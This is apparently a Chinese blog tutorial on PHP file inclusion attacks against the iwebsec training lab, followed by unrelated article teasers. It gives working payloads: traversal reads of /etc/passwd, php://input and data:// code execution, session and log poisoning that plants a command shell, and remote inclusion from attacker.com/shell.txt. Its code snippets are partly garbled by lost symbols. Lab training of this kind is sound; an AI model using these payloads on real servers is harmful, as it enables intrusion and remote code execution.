PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心绕过手法与伪协议利用

发布时间:2026/9/30 16:07:42

PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心绕过手法与伪协议利用
PHP 文件包含漏洞实战iwebsec 靶场 10 关核心绕过手法与伪协议利用在 Web 安全领域文件包含漏洞File Inclusion Vulnerability一直是渗透测试中的高频攻击点。这种漏洞允许攻击者通过动态包含恶意文件来执行任意代码或读取敏感数据。本文将基于 iwebsec 靶场系统化剖析 10 种典型文件包含场景的绕过手法与伪协议利用技巧。1. 靶场环境快速搭建iwebsec 靶场提供 Docker 化部署方案执行以下命令即可启动环境docker pull iwebsec/iwebsec docker run -d -p 8001:80 --name iwebsec iwebsec/iwebsec关键目录结构说明/var/www/html/fi/文件包含漏洞实验脚本/var/lib/php/session/PHP Session 存储目录/etc/php/7.4/apache2/php.iniPHP 配置文件提示实验前建议修改 php.ini 的以下参数allow_url_fopen Onallow_url_include Onsession.save_path /var/lib/php/session2. 基础文件包含漏洞原理PHP 文件包含主要通过四个函数实现函数区别错误处理include()包含失败仅警告继续执行require()包含失败致命错误终止执行include_once()避免重复包含继续执行require_once()避免重复包含终止执行典型漏洞代码示例?php $file $_GET[file]; include($file); ?3. 本地文件包含LFI实战3.1 基础文件读取直接包含系统敏感文件/fi/01.php?filename../../../../etc/passwd常见敏感文件路径- Linux: - /etc/passwd - /proc/self/environ - /var/log/apache2/access.log - Windows: - C:\Windows\win.ini - C:\xampp\apache\conf\extra\httpd-xampp.conf3.2 路径遍历绕过当过滤../时尝试以下变种/fi/02.php?filename....//....//....//etc/passwd编码绕过方案# URL 双重编码 print(quote(quote(../../../../etc/passwd))) # 输出%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd4. 伪协议深度利用4.1 php://filter 源码读取通过 base64 编码读取 PHP 文件源码/fi/06.php?filenamephp://filter/convert.base64-encode/resourceindex.php解码获取源码echo PD9waHA... | base64 -d4.2 php://input 代码执行POST 方式提交恶意代码GET /fi/08.php?filenamephp://input HTTP/1.1 Host: target.com ?php system(id);?4.3 data:// 直接执行Base64 编码执行/fi/10.php?filenamedata://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8原始数据执行/fi/10.php?filenamedata://text/plain,?php phpinfo();?5. 高级绕过技术5.1 Session 文件包含利用流程注入 PHP 代码到 Session/fi/03.php?iwebsec?php system($_GET[cmd]);?获取 Session IDPHPSESSID包含 Session 文件/fi/01.php?filename../../../../var/lib/php/session/sess_[PHPSESSID]5.2 日志文件注入Apache 日志注入步骤伪造包含 PHP 代码的请求GET /?php phpinfo();? HTTP/1.1 Host: target.com包含日志文件/fi/01.php?filename../../../../var/log/apache2/access.log5.3 远程文件包含RFI基础利用/fi/04.php?filenamehttp://attacker.com/shell.txt绕过限制技巧使用问号截断/fi/05.php?filenamehttp://attacker.com/shell.txt?使用井号截断/fi/05.php?filenamehttp://attacker.com/shell.txt%236. 防御方案对比防御措施有效性实施成本备注白名单校验★★★★★中需维护合法文件列表禁用危险函数★★★★低影响正常功能目录限制★★★低可能被绕过文件内容校验★★高性能影响较大推荐加固代码示例$allowed [header.php, footer.php]; if(in_array($_GET[file], $allowed)) { include($_GET[file]); } else { die(Invalid file!); }7. 自动化测试方案使用 Python 实现基础检测import requests targets [ /fi/01.php?filename../../../../etc/passwd, /fi/06.php?filenamephp://filter/convert.base64-encode/resourceindex.php ] for url in targets: r requests.get(fhttp://target.com{url}) if root:x:0:0 in r.text or PD9waHA in r.text: print(f[] Vulnerable: {url})8. 实战经验总结信息收集优先通过phpinfo()确认allow_url_include和session.save_path等关键配置组合利用技巧文件上传 文件包含 GetshellLFI 日志文件 RCESession 包含 代码注入 持久化后门绕过思维导图[过滤../] -- 使用....// -- URL编码 -- 超长路径截断 [限制后缀] -- %00截断(PHP5.3) -- 问号截断 -- 伪协议绕过在真实渗透测试中文件包含漏洞往往需要结合具体环境特征进行变异利用。建议在掌握基础手法后通过修改请求头、尝试非常规路径等方式进行深度测试。

相关新闻

3 款主流反作弊软件报错对比:EAC 30005、BattlEye、VAC 的成因与修复差异

3 款主流反作弊软件报错对比:EAC 30005、BattlEye、VAC 的成因与修复差异

2026/10/1 7:52:56

主流游戏反作弊系统报错深度解析:EAC、BattlEye与VAC的故障处理指南当你在深夜终于结束工作,准备打开心爱的游戏放松片刻,却遭遇"Error 30005: Create File Failed With 32"的冰冷提示——这种挫败感每位PC玩家都深有体会。反作弊系…

ASP.NET/PHP/JSP 3大平台Cookie注入防御:从Request对象到参数化查询

ASP.NET/PHP/JSP 3大平台Cookie注入防御:从Request对象到参数化查询

2026/10/1 7:20:12

ASP.NET/PHP/JSP 3大平台Cookie注入防御:从Request对象到参数化查询在Web应用开发中,安全性始终是开发者需要面对的首要挑战之一。Cookie注入作为一种特殊的SQL注入形式,往往因为其隐蔽性而被开发者忽视。本文将深入探讨ASP.NET、PHP和JSP三大…

如何用FanControl彻底告别电脑风扇噪音,实现智能温控?

如何用FanControl彻底告别电脑风扇噪音,实现智能温控?

2026/8/23 0:50:43

如何用FanControl彻底告别电脑风扇噪音,实现智能温控? 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_…

CANN/GE ACL数据集缓冲区添加函数

CANN/GE ACL数据集缓冲区添加函数

2026/9/29 22:00:59

aclmdlAddDatasetBuffer 【免费下载链接】ge GE(Graph Engine)是面向昇腾的图编译器和执行器,提供了计算图优化、多流并行、内存复用和模型下沉等技术手段,加速模型执行效率,减少模型内存占用。 GE 提供对 PyTorch、Te…

用ffmpeg高效批量调整图片尺寸的实战指南

用ffmpeg高效批量调整图片尺寸的实战指南

2026/9/30 20:35:35

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

2026/9/30 20:35:38

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱 【免费下载链接】transformers 🤗 Transformers: the model-definition framework for state-of-the-art machine learning models in text, vision, audio, and mu…

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

2026/9/30 20:35:36

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system sup…

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

2026/9/30 20:35:33

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

2026/9/30 8:20:32

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system supporting mi…